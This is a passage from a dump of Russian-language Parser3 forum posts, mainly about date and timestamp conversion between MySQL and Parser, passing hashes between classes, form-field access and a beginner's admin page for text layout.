   # пишем атрибут с датой в строку отчета (дату, созданную по таймстампу, переписываем в строку методом класса date sql-string[])\
   ^line.setAttribute[${rep_template.lineElemDate};^d.sql-string[]]\
   ...\
   # добавляем сформированную строку отчета к корню документа\
   $elem[^root_elem.appendChild[$line]]\
   # вычищаем из памяти уже не нужные (тело итерации цикла кончилось) переменные, а то в отчете по нескольку десятков тысяч строк, а память не казенная, под другое сгодится :-)\
   $elem[]\
   $line[]\
   ^memory:compact[]\
}\
^xml_report.save[/report.xml]\
[/code]\
\
Вот и все... репорт генерируется безупречно, только даты все сдвинуты (из-за чего топик и создал)\
\
Посоветуйте, как мне получать нормальные даты? Единственный выход, что я тока увидел - это в запрос нередавать не таймстампы, а писать ... between unix_timestamp($start_date) and unix_timestamp($stop_date), я сами строки дат формировать под UNIX-style\
[code]\
$start_date[${date.year}-${date.month}-01 00:00:00]\
^date.roll[month](-1)\
$stop_date[${date.year}-${date.month}-01 00:00:00]\
$lines[^table::sql{select beginSession,... from ... where beginSession between unix_timestamp($start_date) and unix_timestamp($stop_date)}]\
[/code]\
\
Как говорится, осадок-то остался... Где глюк? В методе unix-timestamp класса date? Из кода видно, что конструктор unix-timestamp и метод sql-string в классе работают как надо, а вот МЕТОД преобразования объекта класса в таймстамп выдает не то значение. Или я неправильную дату туда пытаюсь засунуть? Вроде бы я еще в своем уме, и на первые несколько взглядов криминала в коде не усмотрел.\
\
Жду ваших комментариев по данному поводу."
"34533","поможет.\
\
2.\
если (почему-то) есть задача работать с ^date.unix-timestamp[]-ами, работайте с ними [b]и только с ними[/b].\
\
и приведённого кода опять не ясно, как попали значения в базу.\
\
если значения попадают из ^date.unix-timestamp[] и вы потом сравниваете с ^date.unix-timestamp[], всё будет хорошо.\
\
если же вы сравниваете разные вещи, то покажите их, обсудим."
"34534","в oracle работают ANSI-стандартные даты ^date.sql-string[]\
\
в ODBC, согласно документации на ODBC, даты в [b]общем виде[/b] записывать надо так:\
http://www.parser.ru/forum/?id=31778\
\
для MS SQL сервера можно отступить немного от написанного в документации на ODBC, один раз переключив язык на английский [под рукой нет точной строчки, у кого есть, киньте] и пользоваться ANSI-стандартнрой записью."
"34535","Делаю:\
[code]\
$date[^date::now[]]\
$dt_debug[^date::unix-timestamp(^date.unix_timestamp)]\
DEBUG: ^date.sql-string[] / ^date.unix-timestamp[] / ^dt_debug.sql-string[]\
[/code]\
\
Результат:\
DEBUG: 2004-11-10 10:32:21 / 1100071941 / 2004-11-10 10:32:21\
\
А при проверке на SQL-сервере (Linux, MySQL) полученный таймстамп на 8 часов меньше!\
\
Таймстампы в базу попадают с Линуха, используя unix_timestamp('ГГГГ-ММ-ДД чч:мм:сс')\
Строка подключения:\
[code]\
$SQL.connect-string[mysql://<user>:<password>@<host>/<database>?charset=cp1251_koi8]\
[/code]\
Вот статус/версия SQL-сервера\
[code]\
mysql> \\s                                                                       \
--------------                                                                  \
mysql  Ver 11.16 Distrib 3.23.49, for redhat-linux-gnu (i386)                   \
                                                                                \
Connection id:          3296                                                    \
Current database:       ...\
Current user:           root@localhost                                          \
Current pager:          stdout                                                  \
Using outfile:          ''                                                      \
Server version:         3.23.49                                                 \
Protocol version:       10                                                      \
Connection:             Localhost via UNIX socket                               \
Client characterset:    latin1                                                  \
Server characterset:    latin1                                                  \
UNIX socket:            /var/lib/mysql/mysql.sock                               \
Uptime:                 126 days 9 hours 25 min 42 sec                          \
                                                                                \
Threads: 1  Questions: 1066221  Slow queries: 3  Opens: 949  Flush tables: 1  Open tables: 33 Queries per second avg: .098                                     \
--------------                                                                  \
[/code]\
\
Дата на серваке верная, он является NTP-сервером для всей сети (и моей машины тоже), так что время везде одинаковое с точностью до секунды.\
\
Может, что-то с конфигом SQL-сервака? Как проверить его реакцию на даты и как поправить (если это возможно)?"
"34536","Народ, в Agava и Holm есть поддержка parser? А вообще не подскажите см. заголовок! Плиззз..."
"34537","платный Unix хостинг не такие уж и большие деньги стОит"
"34538","покажите, пожалуйста, кусок кода, где в базу идёт insert?"
"34539","правда появилась нерешенная [url=\"http://www.parser.ru/forum/?id=34322\"]ошибка[/url]."
"34540","Дата в файле лога имеет следующий вид\
[quote]Mon, 01 Nov 2004 17:52:27 +0300[/quote]\
А вот скрипт укладки записей в базу (исполняется на Linux'е)\
[code]\
#!/usr/bin/perl\
\
local $sqluser = \"<username>\";		# пользователь для подключения к БД\
local $sqlpasswd = \"<password>\";	# пароль подключения к БД\
local @months = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);\
\
# подключаем DBI Perl library\
use DBI;\
# подключаемся к БД\
$dbh = DBI->connect(\"DBI:mysql:<database>:<hostname>\",$sqluser,$sqlpasswd);\
$tab_name = \"lines\";\
open(FILE,\"/path/to/file\") || die \"Cannot open file!\";\
while ($record=<FILE>) {\
	last if $record =~ /^$/;\
	chomp($record);\
	local ($start,$stop,$source,$dest) = (split(/\\|/,$record))[4,5,6,8];\
	# если юзер лажанулся, валим дальше\
	if ($start=~ /failed/){next;}\
	# отделяем IP от порта\
	$source=~ s/^(.+):(.+)/$1/;\
	$dest=~ s/^(.+):(.+)/$1/;\
\
	my $begin,$end,@tmp;\
	# запихиваем в массив день, имя месяца, год и время\
	@tmp = (split(/\\s/,$start))[1,2,3,4];\
	# заменяем имя месяца в дате на его порядковый номер и пишем результирующую строку\
	$begin = sprintf(\"%04d-%02d-%02d %s\",$tmp[2],month_index($tmp[1]),$tmp[0],$tmp[3]);\
	@tmp = (split(/\\s/,$stop))[1,2,3,4];\
	$end = sprintf(\"%04d-%02d-%02d %s\",$tmp[2],month_index($tmp[1]),$tmp[0],$tmp[3]);\
	# забрасываем запись в таблицу\
	if($rv){\
	    $rows = $dbh->do(\"INSERT INTO $tab_name (dest,src,beginSession,endSession) VALUES (INET_ATON('$dest'),INET_ATON('$source'),UNIX_TIMESTAMP('$begin'),UNIX_TIMESTAMP('$end'))\");\
	}\
}\
close(FILE);\
\
$rc = $dbh->disconnect();\
\
exit(0);\
\
# вычисление индекса месяца\
sub month_index()\
{\
	my $month = shift;\
	my $index = 1;\
	foreach $item (@months){\
		if($item eq $month){ last; }\
		else { $index++; }\
	}\
	return $index;\
}\
[/code]\
\
Соответствие дат в таблице (таймстампы) и их первоначальные значения в логах абсолютно идентичны, а именно:\
[code]\
Запись в логе: Mon, 07 Jun 2004 00:13:45 -0400\
Таймстамп в таблице: 1086581625\
Отобранное из таблицы значение: 2004-06-07 00:13:45\
[/code]\
\
Так что вот такая петрушка получилась... При работе ТОЛЬКО на линуксе или ТОЛЬКО на винде никаких проблем, а если база на линуксовом серваке, а генератор отчетов на рабочей станции windows - болт!\
\
По ходу пьесы не может быть, что трабл в MySQL-клиенте (архив parser3sql_1_2_win32_mysql.zip от 26.03.2004)?\
\
Что вы на это можете ответить?"
"34541","С Днем рождения!\
Будьте счастливы, веселы, здоровы и никогда не отчаивайтесь в этой дурацкой жизни, которая кончиться для всех совершенно одинаково. Но прожить, конечно, её нужно здорово."
"34542","можно ли каким-либо образом (прямо или косвенно) изменить \"время, до которого хранится результата работы кода\" уже имеющегося файлика кеша на устаревшее, либо \"близкое к устаревшему\" значение, желательно без выдачи в документ его содержимого?\
\
То, что ненужный файл можно просто удалить - это понятно, однако при этом мы лишаемся возможности использовать весьма полезную в некоторых случаях фичу $exception.handled[cache]."
"34543","в заголовке файла надо поменять в заголовке timestamp устаревания.\
структура тривиальна:\
[code]\
struct Data_string_serialized_prolog {\
	int version;\
	time_t expires;\
};\
[/code]\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/op.C?rev=1.149&content-type=text/vnd.viewcvs-markup"
"34544","перечитайте пункт 1.\
ведь до сих пор непонятно, откуда всплыл timestamp. ведь работали с датой в ANSI формате, зачем потом понадобилось голову timestamp'ом забивать?\
\
могу добавить: этот кусок на perl напрочь игнорирует часовой пояс, хранящийся в исходном файле. может тут собака?"
"34546","по поводу перла:\
часовой пояс в исходном логе мне не нужен, если вы заметили, он отсекается скриптом, и ANSI-string даты формируется без учета пояса.\
Хранение в базе таймстампов обусловлено тем, что размер хранимой информации (в отличие от строки) меньше - как я писал выше, в отчете за один только месяц попадает несколько десятков тысяч записей, так что экономия на дисковом пространстве ощутима. Но так как в отчете нужны \"человеческие\" данные и софт-формирователь исходного лога пишет ANSI дату, то и приходится кувыркаться с ANSI на timestamp и обратно.\
\
Опять же замечу, что свистопляска начинается только если я с виндов лезу в базу на линухе. А по другому пока нельзя."
"34547","и как [b]он[/b] работает с датами тоже.\
\
у вас вопрос, как так получилось, что вы думаете, что занесли в базу одно,\
а если присоединяетесь к mysql@linux базе с рабочееместо@win32, то получаете из базы не то, что думали, что туда записали.\
\
отсюда выход один: разобраться с тем, что реально вы пишете в базу и что читаете оттуда.\
\
чтобы было проще разбираться, предлагаю выкинуть из головы дребедень про unix-timestamp, и сделать колонку типа datetime\
[http://dev.mysql.com/doc/mysql/ru/DATETIME.html].\
межу прочим, внутри данные она хранит в виде тех же самых секунд с epoch, только работает с ними сама, без лишних суетливых функций."
"34549","Спасибо за совет, попробую сконвертировать базу и посмотреть что получится.\
Если не удовлетворит результат, буду изобретать велик.\
Знать, судьба у нас такая... :-)"
"34550","имеется такой код:\
[code]\
@CLASS\
c0\
\
@method[]\
$hash[^hash::create[]]\
$c1[^c1::init[$hash]]\
$c2[^c2::init[$hash]]\
\
@CLASS\
c1\
\
@init[hash]\
$_hash[^hash::create[$hash]]\
\
@CLASS\
c2\
\
@init[hash]\
$_hash[^hash::create[$hash]]\
[/code]\
Как сделать так, чтобы экземпляры классов c1 и c2 работали с объектом hash определенном в классе c0(method) и передаваемом параметром конструкторам соотв. экземпляров классов.\
\
^hash::create[] создает новый объект hash который != hash определенному в c0\
\
Что скажут монстеры парсера?"
"34552","только если этот hash создан в статическом конструкторе. Это не то, - каждый такой вызов конструирует заново этот хэш"
"34553","Если тебе не нужна копия, то зачем ее создавать через ^hash::create?\
[code]\
@CLASS\
c0\
\
@method[]\
$hash[^hash::create[]]\
$c1[^c1::init[$hash]]\
$c2[^c2::init[$hash]]\
\
@CLASS\
c1\
\
@init[hash]\
$_hash[$hash]\
# изменим хэш\
  ^$_hash.add[$.newitem[Оно!]]\
\
@CLASS\
c2\
\
@init[hash]\
$_hash[$hash]\
\
......\
\
@main[]\
  $c[^c0::init[]]\
  $c.hash.newitem\
# ^^^^^^^^^^^^^^^\
# И видм, что все работает\
[/code]"
"34554","Я пробовал так (через $_hash[$hash]) у меня не работало."
"34556","Но не принципиально... Такая конструкция 100% работает:\
[code]\
@CLASS\
c0\
\
@init[]\
$hash[^hash::create[]]\
$c1[^c1::init[$hash]]\
$c2[^c2::init[$hash]]\
\
@CLASS\
c1\
\
@init[hash]\
$_hash[$hash]\
# изменим хэш\
  ^_hash.add[$.newitem[Оно!]]\
\
@CLASS\
c2\
\
@init[hash]\
$_hash[$hash]\
\
......\
\
@main[]\
  $c[^c0::init[]]\
  $c.hash.newitem\
# ^^^^^^^^^^^^^^^\
# И видм, что все работает\
[/code]"
"34557","о кей, а почему так не работает?:\
[code]\
@main[]\
$c[^c0::init[]]\
$c.hash.newitem\
\
@CLASS\
c0\
\
@init[]\
$hash[^hash::create[]]\
$c1[^c1::init[$hash]]\
$c2[^c2::init[$hash]]\
\
@method[]\
$hash[^hash::create[]]\
$c1[^c1::init[\
	$.hash[$hash]\
]]\
$c2[^c2::init[\
	$.hash[$hash]\
]]\
\
@CLASS\
c1\
\
@init[hash]\
$_hash[$hash.hash]\
# изменим хэш\
^_hash.add[$.newitem[Оно!]]\
\
@CLASS\
c2\
\
@init[hash]\
$_hash[$hash.hash]\
[/code]\
Конструкторы принимают хэш, ключи которого тоже хэш"
"34559","... работает:\
[code]\
@CLASS\
c0\
\
@init[]\
$hash[$.def[1]]\
$c1[^c1::init[\
	$.hash[$hash]\
]]\
$c2[^c2::init[\
	$.hash[$hash]\
]]\
\
@CLASS\
c1\
\
@init[hash]\
$_hash[$hash.hash]\
# изменим хэш\
^_hash.add[$.newitem[Yes!]]\
\
@CLASS\
c2\
\
@init[hash]\
$_hash[$hash.hash]\
[/code]"
"34560","я начудил - просто у меня создание экземпляра класса было в 2-х местах, в одном с правильными параметрами (с нужным хэшем), в другом нет, поэтому и ругалось что у строки нет метода add."
"34562","Все делал по инструкциям... ничего не помогло, может кто поможет?"
"34564","Как создавать файлы приведенные в заголовке и есть спец прога для этого с подсветкой синтаксиса?"
"34565","Схемы раскраски синтаксиса для многих программ лежат на этом сервере: http://www.parser.ru/download/utils/"
"34566","Где в инете можно почитать учебный материал об ООП, чтоб доходчиво и понятно?"
"34567","В общем проблема все та же. Т.е. есть в файле или в базе таблица со списком ФИО и даты рождения в формате дд-мм.гггг где гггг естественно часто старше 1970 года. При попытке загрузке в таблицу этих данных и выскакивает ошибка. Очень бы хотелось работать с данными именно в формате date а не string для того же сравнения. Что делать как быть? \
\
P.S.Я  понимаю, что какую-то работу можно сделать методами sql, но далеко не всю."
"34568","есть под рукой MySQL - пользоваться его средствами"
"34569","в предыдущем post'е неправильный тип предложил.\
\
но будьте аккуратнее с тем, что колонки этого типа меняют своё значение при update на now, если ничего не предпринять против этого.\
\
такие колонки хранятся компактно. обычный тип datetime менее компактно, зато у него шире диапазон."
"34571","Я тоже столкнулся с такой ситуацией. И тоже дни рождения. Поразительно много людей родилось до 1970... :) Насколько я понимаю ситуацию - самый простой вариант:\
\
Написать свой класс на Parser для хранения и операций над произвольными датами в виде строк. Что я и собираюсь сделать в ближайшем будущем. Если откинуть всяческие проверки на правильность данных, передаваемых в конструктор, то класс должен получиться достаточно простым."
"34572","www\
  |- cgi-bin\
  |        | - charsets\
  |        |          |- koi8-r.cfg\
  |        |          |- windows-1250.cfg\
  |        |          |- windows-1251.cfg\
  |        |          |- windows-1254.cfg\
  |        |          |- windows-1257.cfg\
  |        |\
  |        | - lib\
  |        |      |- libparser3mysql.so\
  |        |\
  |        |- auto.p\
  |        |- parser3.cgi\
  |        |- parser3.log\
  |\
  |- .htaccess\
  |- index.html  (такой же тест, как и на http://www.parser.ru/_test.html\
\
XML - работает\
MySQL - Не работает!!!!!!!!!!!!!!\
посмотреть результат - http://www.artgroup.ru/\
\
Подскажите что делать."
"34573","А почему ограничение такое - 1970 г? Почему например не 1899?"
"34574","Написал вопрос, проверил ссылку и тут же получил ошибку 500!!!\
хотя ни чего не менял. В .htaccess\
---------------------------------------------------\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
---------------------------------------------------\
\
И чего не получается?"
"34575","Есть бесплатный сервис \"независимый счетчик кликов\"\
http://clicker.net.ru"
"34577","Интересно, но делаю всё, что сказано, но ни чего не происходит. ТО что Parser в конце концов заработал - уже достижение! Но вот MySQL Всё равно не работает. Это собственно говоря видно если зайти всё-таки на сайт http://www.artgroup.ru/\
Вот и хотелось узнать в чём же дело!"
"34580","Есть форма, которая формируется следующим образом: 4 базовых поля выводятся N раз в зависимости от указанного числа N.\
\
Каждое поле имеет имя:\
param_$N_rus_value_of_column_$i\
То есть если N = 5, то будет 5 раз выведены четыре базовых поля, которые будут иметь имена:\
param_1_rus_value_of_column_1 ... param_1_rus_value_of_column_4\
...\
param_5_rus_value_of_column_1 ... param_5_rus_value_of_column_4\
\
Значения перебираю двойным циклом.\
    ^for[i](1;$form:params){\
        ^for[j](1;4){\
            ^if(!def $form:param_${i}_rus_value_of_column_$j || !def $form:param_$i_eng_value_of_column_$j){\
                $filled[0]\
            }\
        }\
    }\
Такой вариант не проходит.\
Как обратиться к любому полю формы с такой системой названий?"
"34581","Ctrl+F \"Результат работы кода\""
"34582","то есть пример из документации:\
\
[code]\
^form:fields.foreach[field;value]{\
   $field - $value\
}[<br>]\
[/code]\
[i]\
Пример выведет на экран все поля формы и соответствующие значения.\
Предположим, что URI страницы www.mysite.ru/testing/index.html?name=dvoechnik&mark=2. Тогда пример выдаст следующее:\
\
name - dvoechnik\
mark - 2\
[/i]\
\
\
а как из URI страницывытащить только одно значение например mark? Помогите пожалуйста разобраться с таким великим инструментом как хеш.\
\
Спасибо."
"34583","Можно, конечно, написать $form:fields.mark... только не понятно зачем, если можно просто $form:mark."
"34585","Вопрос к разработчикам. Я смотрел в хелпе в разделе \"is. Проверка типа\":\
>объект is тип\
>Тип - имя типа, им может быть\
>системное имя (hash, junction, …),\
>или имя пользовательского класса\
 Логично что должно работать и конструкция\
[code]$n[str]\
^if($n is int){\
число\
}{\
не число\
}[/code]\
Но на практике выходит наоборот, хотя такой пример работает:\
[code]^if(def $id && ^id.int(-1) != -1){\
число\
}{\
не число\
}\
\
[/code]\
Мне повезло что я использую это при проверке пользователя в базе, где ид пользователей начинаются с 1, а как быть в общем случае?"
"34586","[code]^if($n is int || $n is double){число}{не число}[/code]\
...\
[code]^if(^n.int(0) == ^n.int(1)){число}{не число}[/code]"
"34587","Возможно ли вручную прописать их куками, чтобы при обращении к запароленной странице не всплывало окно для ввода логина и пароля."
"34588","Подскажите, пжлста!\
Читает ли Инет-робот сведения о сайте из description, если они хранятся в auto.p?"
"34589","1. $n[10] - это СТРОКА из двух символов, поэтому для такой конструкции проходит [code]^if($n is string){}[/code].\
2. $n(10) - это уже число, но... похоже \"по-умолчанию\" Парсер хранит их у себя внутри в виде чисел с плавающей запятой (double), поэтому проверять их надо (в общем случае) так [code]^if($n is double){}[/code]\
3. Самое интересное:\
   [code]\
    $i(20)\
    $n(^i.int[])\
    ^if($n is int){Yes!}\
   [/code]\
   Здесь мы уже получим все как нам нужно. Хотя очевидна ущербность третьей конструкции: на практике она явно не нужна."
"34591","нельзя.\
\
если вам нужна нестандартная авторизация, вы легко можете сделать свою или воспользоваться готовой\
http://www.parser.ru/examples/auth/\
\
однако при этом имейте в виду, что, скажем, reget файл под таким паролем забрать не сможет."
"34592","Ниже приведенный файл - часть админки, подготавливающий сырой текст к простенькому макетированию (разбивка на абзацы, применение к ним различных стилей и включение ссылок на фотки).\
Информация берется и записываестя в файлики (сознательно не использую MySQL, на то есть причины). Ранее в тестовых целях импортировал несколько текстов (все работало на \"ура\"), потом чтото соптимизировал и ... из второй формы информация исчезает начитсо.\
За качество кода плз не ругать ибо гуманитарий я, программер по нужде.\
\
<html>\
<head>\
<title>Tinklapio administravimas</title>\
<link rel=\"stylesheet\" type=\"text/css\" href=\"/template/site.css\">\
</head>\
<body>\
<div id=\"adminmenu\">\
$sout[^table::load[/admin/submenu/submenu.cfg]]\
\
	^sout.menu{\
		<a class=\"sub_menu\" href=\"$sout.url\">$sout.name</a>\
	}{::}\
</div>\
<div id=\"adminmain\">\
\
<script language=\"JavaScript\">\
function check() {\
if(document.in.value==''){alert('Iveskit tekstus')}\
}\
</script>\
\
$request:charset[windows-1257]\
^if(-f \"/menu/menu.cfg\"){$menu[^table::load[/menu/menu.cfg]]}{$menu[^table::create{id	name	dep	url	key	value	view	mname	mbody	mview	finsec}] $menu[^menu.select($menu.view eq yes)]}\
^use[/common/optxt.p]\
^use[/common/divtables.p]\
\
\
$alert[Nera jokio tekstus sitemoje]\
\
^if(-f \"/txt/list.cfg\"){$txtlist[^table::load[/txt/list.cfg]]}{$txtlist[^table::create{id	fullname}]}\
\
\
^if(def $txtlist && ^txtlist.count[] > 0){\
\
\
\
	<form method=POST>\
\
	<table class=\"table_prod\">\
	<thead class=\"table_prod_head\">\
	<tr>\
	<td class=\"table_prod_cell\">Pasirinkti</td>\
	<td class=\"table_prod_cell\">Teksto pavadinimai</td>\
	<td class=\"table_prod_cell\">Meniu pozicija</td>\
	</tr>\
	</thead>\
\
\
	<tbody class=\"table_prod_body\">\
	^txtlist.menu{\
		$tx[^txtlist.line[]]\
\
		<tr onMouseOver=\"this.style.background='CaptionText'\" \
		onMouseOut=\"this.style.background='InactiveCaptionText'\" \
		style=\"cursor:pointer\">\
		$mtxt[^menu.select($menu.key eq txt && $menu.value eq $txtlist.id)]\
		<td class=\"table_prod_cell\"><input id=\"table_$tx\" type=\"checkbox\" value=\"$txtlist.id\" name=\"selected\"></td>\
		<td class=\"table_prod_cell\"><label id=\"table_$tx\">$txtlist.fullname</label></td>\
		<td class=\"table_prod_cell\">^if(^mtxt.count[]>0){$mtxt.name}{nera}</td>\
		</tr>\
	}\
	</tbody>\
	<tfoot  class=\"table_prod_head\"><tr style=\"cursor:  pointer\">\
	<td class=\"table_prod_cell\" colspan=2><label for=\"form_del\">Pazimetas tekstas</label></td>\
	<td class=\"table_prod_cell\"><input id=\"form_del\" type=\"submit\" value=\"Trinti\" name=\"delete\">\
	<input id=\"form_cancel\" type=\"reset\" value=\"clear\" name=\"clr\"></td>\
	</tr></tfoot>\
	</table>\
	</form>\
	^if(def $form:delete && $form:tables.selected is table){\
\
\
		$rw[$form:tables.selected]\
\
\
\
		^rw.menu{$txtlist[^txtlist.select($txtlist.id ne $rw.field)]\
\
			^if(-f \"/txt/$rw.field/text.tbl\"){^file:delete[/txt/$rw.field/text.tbl]}\
				$list[^file:list[/txt/$rw.field/photo/;\\.jpg^$]]\
				^list.menu{^if(-f \"/txt/$rw.field/photo/$list.name\"){^file:delete[/txt/$rw.field/photo/$list.name]}}\
			}\
\
		^txtlist.save[/txt/list.cfg]\
		$response:location[/admin/text.html]\
	}\
\
\
}{$alert}\
\
\
\
\
\
\
\
\
<form method=POST name=\"one\">\
<fieldset>\
\
<legend>Naujas tekstas</legend>\
\
\
	<table>\
		<tr>\
			<td><label id=\"id_fullname\">Teksto pavadinimas</label></td>\
			<td><input id=\"id_fullname\" type=\"text\" value=\"$fullname\" name=\"fullname\"></td>\
		</tr>\
	</table>\
\
	<label for=\"id_cont\">Naujas tekstas</label><br>\
	<textarea id=\"id_cont\" rows=\"30\" cols=\"64\" style=\"overflow:visible\" name=\"in\" onChange=\"check()\">$body</textarea><br>\
\
<input type=\"submit\" value=\"ok\" name=\"ok\">\
</fieldset>\
</form>\
\
\
^if(def $form:ok && def $form:in && def $form:fullname){\
\
		$id[^math:random(999)]\
		^while(^txtlist.locate[id;$id]){$id[^math:random(999)]}\
		$in[$form:in]\
		$fullname[$form:fullname]\
$in[^in.match[\\t][g]{ }]\
^in.save[/txt/textin]\
$tbl[^table::load[nameless;/txt/textin]]\
^file:delete[/txt/textin]\
\
$div[^math:random(999)]	\
\
	<form method=POST name=\"two\">\
<fieldset>\
\
<legend>Naujo teksto atributai</legend>\
\
		<input type=\"hidden\" name=\"id\" value=\"$id\">\
		<input type=\"hidden\" name=\"fullname\" value=\"$fullname\">\
		<input type=\"hidden\" name=\"div\" value=\"$div\">\
\
		<table>\
			<thead>\
			\
			<tr>\
				<td>Nr.</td>\
				<td>Tekstas</td>\
				<td>Teksto tipas</td>\
			</tr>\
			</thead>\
\
			<tbody>\
\
	^tbl.menu{\
					\
					$body[$tbl.0]\
					$line[^tbl.line[]]\
					$len(^body.length[])\
					$rows($len/50)\
\
		<tr>\
		<td>$line</td>\
		<td><label id=\"id_txt_$line\">$body</label>\
		<input id=\"id_txt_$line\" type=\"hidden\" name=\"out\" value=\"$line/$div/$body\">\
\
\
		<fieldset>\
		<legend>Nuortauka</legend>\
\
		<input type=\"file\" col=\"20\" name=\"$line\">\
		<label for=\"id_pos_$line\">Pozicija</label>\
		<select id=\"id_pos_$line\" name=\"position\">\
		^if($rows>=4){<option value=\"$line/$div/nw\">Kaire-virsuje</option>\
		<option value=\"$line/$div/ne\">Desine-virsuje</option>}\
		^if($rows>=10){\
		<option value=\"$line/$div/w\">Kaire-vidurije</option>\
		<option value=\"$line/$div/e\">Desine-vidurije</option>\
		}\
		^if($rows>=4){<option value=\"$line/$div/sw\">Kaire-apacijoi</option>\
		<option value=\"$line/$div/se\">Desine-apacijoi</option>}\
		<option value=\"$line/$div/bigd\">Didelis apacijoi</option>\
		<option value=\"$line/$div/bigu\">Didelis virsui</option>\
		</select>\
		</fieldset>		\
		\
\
		</td>\
\
		<td>\
		<select id=\"id_class_$line\" name=\"class\">\
		^if($rows<=2){\
			<option value=\"$line/$div/header\" name=\"class\">Header</option>\
			<option value=\"$line/$div/subheader\" name=\"class\">Subheader</option>\
			<option value=\"$line/$div/sign\" name=\"class\">Signature</option>\
			<option value=\"$line/$div/plain\" name=\"class\">Paprastas</option>\
			<option value=\"$line/$div/exp\" name=\"class\">&#352;ukis</option>\
		}{\
			<option value=\"$line/$div/plain\" name=\"class\">Paprastas</option>\
			<option value=\"$line/$div/anno\" name=\"class\">Anotacija</option>\
			<option value=\"$line/$div/paragraph\" name=\"class\">Paragraph</option>\
		}\
		</select>\
		</td>\
\
		</tr>\
		}\
		</tbody>\
		</table>\
	<input type=\"submit\" value=\"next\" name=\"next\">\
</fieldset>\
	</form>\
\
	^if(def $form:next){\
\
\
		$id[$form:id]\
\
\
		$fullname[$form:fullname]\
\
		$div[/$form:div/]\
\
	$out[$form:tables.out]\
\
\
	$position[$form:tables.position]\
	$class[$form:tables.class]\
\
\
\
\
\
		$position[^divtables[$position;$div]]\
		$class[^divtables[$class;$div]]\
\
\
\
\
\
		$mix[^divtables[$out;$div]]\
\
		$chmix[^table::create{id	value	position	class}]\
\
		^mix.menu{\
			$line[$mix.id]\
			^chmix.append{$mix.id	$mix.value	^if(^position.locate[id;$mix.id]){$position.value}	^if(^class.locate[id;$mix.id]){$class.value}}\
\
			$pic[$form:$line] \
			^if(def $pic){\
			\
			^pic.save[binary;/txt/$id/photo/${line}.jpg]}\
			}\
\
		$mix[$chmix]\
\
			^txtlist.append{$id	$fullname}\
\
			^txtlist.save[/txt/list.cfg]\
			\
\
		^mix.save[/txt/$id/text.tbl]\
\
\
	$response:location[/admin/text.html]\
\
	}\
\
}\
\
\
\
</div>\
</body>\
</html>"
"34593","@divtables[tbl;div] #$tbl - tablica s odnim polem field ; $div - delitel polia\
\
^if($tbl is table && def $div){\
\
$newtbl[^table::create{id	value}]\
\
	^tbl.menu{\
\
	$new[^tbl.field.split[$div;lh]]\
	^newtbl.append{$new.0	$new.1}\
\
	}\
\
	$result[$newtbl]\
\
}{$result[]}"
"34594","Уважаемые коллеги, помогите настроить парсер! Дела обстоят так сталю под freebsd. Из командной строки работает, а вот через браузер ругается: 400 Invalid URI in request GET /~origami/ HTTP/1.0. Если кто-то с этим сталкивался, помогите, пожалуйста.\
С Уважением, Дмитрий."
"34595","[code]\
<html>\
<head>\
<title>Tinklapio administravimas</title>\
<link rel=\"stylesheet\" type=\"text/css\" href=\"/template/site.css\">\
</head>\
<body>\
<div id=\"adminmenu\">\
$sout[^table::load[/admin/submenu/submenu.cfg]]\
\
^sout.menu{\
<a class=\"sub_menu\" href=\"$sout.url\">$sout.name</a>\
}{::}\
</div>\
<div id=\"adminmain\">\
\
<script language=\"JavaScript\">\
function check() {\
if(document.in.value==''){alert('Iveskit tekstus')}\
}\
</script>\
\
$request:charset[windows-1257]\
^if(-f \"/menu/menu.cfg\"){$menu[^table::load[/menu/menu.cfg]]}{$menu[^table::create{id name dep url key value view mname mbody mview finsec}] $menu[^menu.select($menu.view eq yes)]}\
^use[/common/optxt.p]\
^use[/common/divtables.p]\
\
$alert[Nera jokio tekstus sitemoje]\
\
^if(-f \"/txt/list.cfg\"){$txtlist[^table::load[/txt/list.cfg]]}{$txtlist[^table::create{id fullname}]}\
\
^if(def $txtlist && ^txtlist.count[] > 0){\
\
<form method=POST>\
\
<table class=\"table_prod\">\
<thead class=\"table_prod_head\">\
<tr>\
<td class=\"table_prod_cell\">Pasirinkti</td>\
<td class=\"table_prod_cell\">Teksto pavadinimai</td>\
<td class=\"table_prod_cell\">Meniu pozicija</td>\
</tr>\
</thead>\
\
<tbody class=\"table_prod_body\">\
^txtlist.menu{\
$tx[^txtlist.line[]]\
\
<tr onMouseOver=\"this.style.background='CaptionText'\" \
onMouseOut=\"this.style.background='InactiveCaptionText'\" \
style=\"cursor:pointer\">\
$mtxt[^menu.select($menu.key eq txt && $menu.value eq $txtlist.id)]\
<td class=\"table_prod_cell\"><input id=\"table_$tx\" type=\"checkbox\" value=\"$txtlist.id\" name=\"selected\"></td>\
<td class=\"table_prod_cell\"><label id=\"table_$tx\">$txtlist.fullname</label></td>\
<td class=\"table_prod_cell\">^if(^mtxt.count[]>0){$mtxt.name}{nera}</td>\
</tr>\
}\
</tbody>\
<tfoot class=\"table_prod_head\"><tr style=\"cursor: pointer\">\
<td class=\"table_prod_cell\" colspan=2><label for=\"form_del\">Pazimetas tekstas</label></td>\
<td class=\"table_prod_cell\"><input id=\"form_del\" type=\"submit\" value=\"Trinti\" name=\"delete\">\
<input id=\"form_cancel\" type=\"reset\" value=\"clear\" name=\"clr\"></td>\
</tr></tfoot>\
</table>\
</form>\
^if(def $form:delete && $form:tables.selected is table){\
\
$rw[$form:tables.selected]\
\
^rw.menu{$txtlist[^txtlist.select($txtlist.id ne $rw.field)]\
\
^if(-f \"/txt/$rw.field/text.tbl\"){^file:delete[/txt/$rw.field/text.tbl]}\
$list[^file:list[/txt/$rw.field/photo/;\\.jpg^$]]\
^list.menu{^if(-f \"/txt/$rw.field/photo/$list.name\"){^file:delete[/txt/$rw.field/photo/$list.name]}}\
}\
\
^txtlist.save[/txt/list.cfg]\
$response:location[/admin/text.html]\
}\
\
}{$alert}\
\
<form method=POST name=\"one\">\
<fieldset>\
\
<legend>Naujas tekstas</legend>\
\
<table>\
<tr>\
<td><label id=\"id_fullname\">Teksto pavadinimas</label></td>\
<td><input id=\"id_fullname\" type=\"text\" value=\"$fullname\" name=\"fullname\"></td>\
</tr>\
</table>\
\
<label for=\"id_cont\">Naujas tekstas</label><br>\
